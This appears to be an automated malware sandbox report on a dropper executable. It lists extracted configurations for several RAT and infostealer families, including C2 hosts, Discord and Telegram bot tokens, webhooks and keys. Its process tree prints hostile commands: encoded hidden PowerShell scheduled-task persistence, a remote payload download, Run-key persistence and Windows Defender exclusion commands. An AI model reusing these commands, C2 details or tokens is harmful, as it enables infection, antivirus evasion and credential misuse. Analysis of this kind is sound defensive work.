Resubmissions
05/10/2026, 17:33
261005-v4w2csyepa1005/10/2026, 08:27
261005-kcvzwa11ct04/10/2026, 19:30
261004-x7trhszt9k1027/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx10Analysis
- max time kernel
130s - max time network
404s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
13/09/2026, 12:17
Errors
Reason
Machine shutdown
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample260913-pfz58aba39
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
5.0
C2
-
74.120.121.223:7004
-
r-exploring.gl.at.ply.gg:14606
-
147.185.221.27:14606
Mutex
-
QzPk8SeLEX0EDS29
Attributes
-
install_file
USB.exe
aes.plain
aes.plain
Extracted
Family
-
vidar
Version
-
3.2
Botnet
-
c9e9a8ce47eb529601c1bb8d8883edb4
C2
-
https://t.me/nag0a
-
https://dev.epicgames.com/community/api/user_profiles/profile.json?hash_id=EMqJL
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0
Extracted
Family
-
asyncrat
Botnet
-
Default
Attributes
-
delay
1
-
install
true
-
install_file
vortex.exe
-
install_folder
%AppData%
-
local_host
127.0.0.1
aes.plain
Extracted
Family
-
xworm
Version
-
XWorm V5.6
C2
-
147.185.221.27:31149
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
Extracted
Family
-
xworm
Version
-
XWorm V5.2
C2
-
talk-chief.gl.at.ply.gg:31014
Attributes
-
Install_directory
%AppData%
-
install_file
USB.exe
Extracted
Family
-
discordrat
Attributes
-
discord_token
MTE1ODQ5NzkyODQ2MjIwNTExOQ.GRJ0l6.7SpFGKSu5G_J8dWAJje9hfCtSecIS6RuVXIE_E
-
server_id
1153564868197236846
Extracted
Family
-
44caliber
C2
-
https://discord.com/api/webhooks/1146486791835230260/bE9QI2eAT_dyqn0dm7VljbMDjUklfKOXxq3ua0HOtKeG6TIgizThvorpCYQf2NEkabwH
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
RuntimeBroker
C2
-
wisedreams-53895.portmap.io:53895
Mutex
-
3660874b-db54-4220-a432-d5fe6599ee7f
Attributes
-
encryption_key
2EEF46A138D721E58A3C90F6CE7CFC94A47B0492
-
install_name
updater.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
RuntimeBroker
-
subdirectory
SubDir
Extracted
Family
-
xworm
Version
-
XWorm V5.3
C2
-
193.222.96.100:5555
Attributes
-
Install_directory
%Temp%
-
install_file
requirements.exe
Extracted
Family
-
gurcu
C2
-
https://api.telegram.org/bot7617703274:AAFEXxgPRP1fZGT5UCjcRV4hUZdtNFxyusQ/sendMessage?chat_id=-4568449403
-
http://209.38.221.184:8080
-
http://46.235.26.83:8080
-
http://147.28.185.29:80
-
http://206.166.251.4:8080
-
http://51.159.4.50:8080
-
http://167.235.70.96:8080
-
http://194.164.198.113:8080
-
http://132.145.17.167:9090
-
https://5.196.181.135:443
-
http://116.202.101.219:8080
-
https://185.217.98.121:443
-
http://185.217.98.121:8080
-
http://159.203.174.113:8090
-
http://107.161.20.142:8080
-
https://192.99.196.191:443
-
http://65.49.205.24:8080
-
https://154.9.207.142:443
-
http://67.230.176.97:8080
-
http://8.222.143.111:8080
Extracted
Family
-
xworm
C2
-
209.145.51.44:7000
-
193.222.96.30:4040
Mutex
-
qaA60TVolmeexQD8
Attributes
-
install_file
USB.exe
aes.plain
Extracted
Family
-
aokigahara
Botnet
-
b8a12d54f77e31372dac9fd44402f8b26111c337a114961bd75984ccb9a508a3
Campaign
-
f6d8815b
C2
-
https://neihite.cc/gate
Signatures
- Family: 44Caliber
An open source infostealer written in C#.
- Family: Aokigahara
Aokigahara is a Windows stealer written in C.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: Discord RAT
A RAT written in C# using Discord as a C2.
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 9 IoCs
- Detects DonutLoader 2 IoCs
- Quasar payload 1 IoCs
- Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft NirCmd 1 IoCs
NirCmd is a lightweight Windows command-line tool for automating system tasks
- Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Signed with revoked ConnectWise certificate 2 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Creates new service(s) 2 TTPs
- Indirect Command Execution 1 TTPs 4 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
- Loads dropped DLL 6 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
- UPX packed file 7 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Installer Packages 2 TTPs 7 IoCs
- Executes a command shell one-liner 1 TTPs 35 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 2 IoCs
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Kills process with taskkill 3 IoCs
- Modifies registry key 1 TTPs 9 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 1 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Executes a command shell one-liner
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File file_ddc6c6aa8ace95a7.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_deaad5d12778941d.exefile_deaad5d12778941d.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exesupport.client.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 7644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 7644⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Weekly-Report-1150902-1-pdf.exeWeekly-Report-1150902-1-pdf.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe asir.vbs3⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_60191\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_60191\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip4⤵
- Executes a command shell one-liner
-
C:\Users\Public\Documents\MSUpdate_60191\lib.dllC:\Users\Public\Documents\MSUpdate_60191\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_60191\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3c7c16fb45b485e2.exefile_3c7c16fb45b485e2.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAvAC8AQgAgACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAcABlAGUAYwBoAFwATwBuAGUAQwBvAHIAZQBcAGwAYQB1AG4AYwBoAGUAcgAuAHYAYgBzACIAJwA7ACQAdAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACAALQBVAHMAZQByACAAJwBBAGQAbQBpAG4AJwA7ACQAcAA9AE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAnAEEAZABtAGkAbgAnACAALQBMAG8AZwBvAG4AVAB5AHAAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0AUgB1AG4ATABlAHYAZQBsACAATABpAG0AaQB0AGUAZAA7AFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcATQBpAGMAcgBvAHMAbwBmAHQARQBkAGcAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAQwBvAHIAZQAnACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AUAByAGkAbgBjAGkAcABhAGwAIAAkAHAAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBjAG0AZAAuAGUAeABlACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALwBjACAAdABpAG0AZQBvAHUAdAAgAC8AdAAgADEAMgAwACAALwBuAG8AYgByAGUAYQBrACAAPgBuAHUAbAAgACYAJgAgAHcAcwBjAHIAaQBwAHQALgBlAHgAZQAgAC8ALwBCACAAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwBwAGUAZQBjAGgAXABPAG4AZQBDAG8AcgBlAFwAbABhAHUAbgBjAGgAZQByAC4AdgBiAHMAIgAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBPAG4AIAAtAFUAcwBlAHIAIAAnAEEAZABtAGkAbgAnADsAJABwAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFAAcgBpAG4AYwBpAHAAYQBsACAALQBVAHMAZQByAEkAZAAgACcAQQBkAG0AaQBuACcAIAAtAEwAbwBnAG8AbgBUAHkAcABlACAASQBuAHQAZQByAGEAYwB0AGkAdgBlACAALQBSAHUAbgBMAGUAdgBlAGwAIABMAGkAbQBpAHQAZQBkADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBVAEEAJwAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAIAAtAFQAcgBpAGcAZwBlAHIAIAAkAHQAIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABwACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwA4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f560a93d91a75b5c.exefile_f560a93d91a75b5c.exe3⤵
-
C:\Windows\system32\reg.exe"reg.exe" ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Programs\Bridge\BridgeAgent.exe\" --supervisor" /f4⤵
- Modifies registry key
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_30391bd0ced7aa24.exefile_30391bd0ced7aa24.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Signature%20Nib.exeSignature%20Nib.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_8eb65d0dcf9d4880.exefile_8eb65d0dcf9d4880.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Document.exeDocument.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe goodthingsforbestpersonforme.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8.exe8.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exebot_x64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wp.bat3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c FORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"4⤵
- Indirect Command Execution
-
C:\Windows\system32\forfiles.exeFORFILES.EXE /P C:\Users\Admin\AppData\Local\Temp\a\ /M wp.bat /C "CMD /C ECHO. 0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m"5⤵
- Indirect Command Execution
-
C:\Windows\system32\CMD.exe/C ECHO. [32m((,.,/((((((((((((((((((((/, */[97m6⤵
-
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe Rz.hta3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Zoom.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File netstat.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe out-1773725897.hta3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c fill_storage_move.bat3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noexi "fill_storage_virus.bat"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c update0.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe RawabiJob.hta3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File ConfigureRegistrySettings.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c test_virus.bat3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K 1_16792_newb.bat4⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 123.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe es.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namu864.exenamu864.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MIse.exeMIse.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\G7_Update.exeG7_Update.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Brontok.exeBrontok.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Lab01-02.exeLab01-02.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\self-injection.exeself-injection.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\process-injection.exeprocess-injection.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1210.exe1210.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Amus.exeAmus.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Prolin.exeProlin.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bugsoft.exeBugsoft.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c c:\windows\jk.bat4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pe2shc.exepe2shc.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\steamerx.exesteamerx.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exeCryptoLocker.exe3⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" "/rC:\Users\Admin\AppData\Local\Temp\a\CryptoLocker.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe"C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" /w000002445⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exeRuntimeBroker.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NPS.exeNPS.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VC_redist.x64.exeVC_redist.x64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EdmsLauncher.exe4⤵
- Kills process with taskkill
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Keylogger.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File OneDoesNotSimplyBypassEntireWinDefender.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\keepon.exekeepon.exe3⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittieobf.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File main.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe obr.hta3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File netstat.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File instance.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittie.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File hyehwggs.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe4⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\chrome_134.exechrome_134.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\qt51crk.exeqt51crk.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tomcat8.exetomcat8.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol.exelol.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exefile_a8b257b458693ac9.exe3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exefile_a6357da6a05d7266.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tlp.exetlp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\69c7b08d53c448c283d2f9d244d190cc.exe69c7b08d53c448c283d2f9d244d190cc.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c win.bat3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cacls.exe"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File wp.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-Petitpotam.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i d.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\hack.exehack.exe3⤵
-
C:\windows\system32\mspaint.exeC:\windows\system32\mspaint.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\test.exetest.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\keygen.exekeygen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\keygen.exekeygen.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exeNotepad.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\justpoc.exejustpoc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exefile_77b5757ae75eb20b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScanPort.exeScanPort.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\vc2005sp1redist_x86.exevc2005sp1redist_x86.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Windows.x64.silent.CPU.exeWindows.x64.silent.CPU.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a\Windows.x64.silent.CPU.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
- Executes a command shell one-liner
-
-
-
-
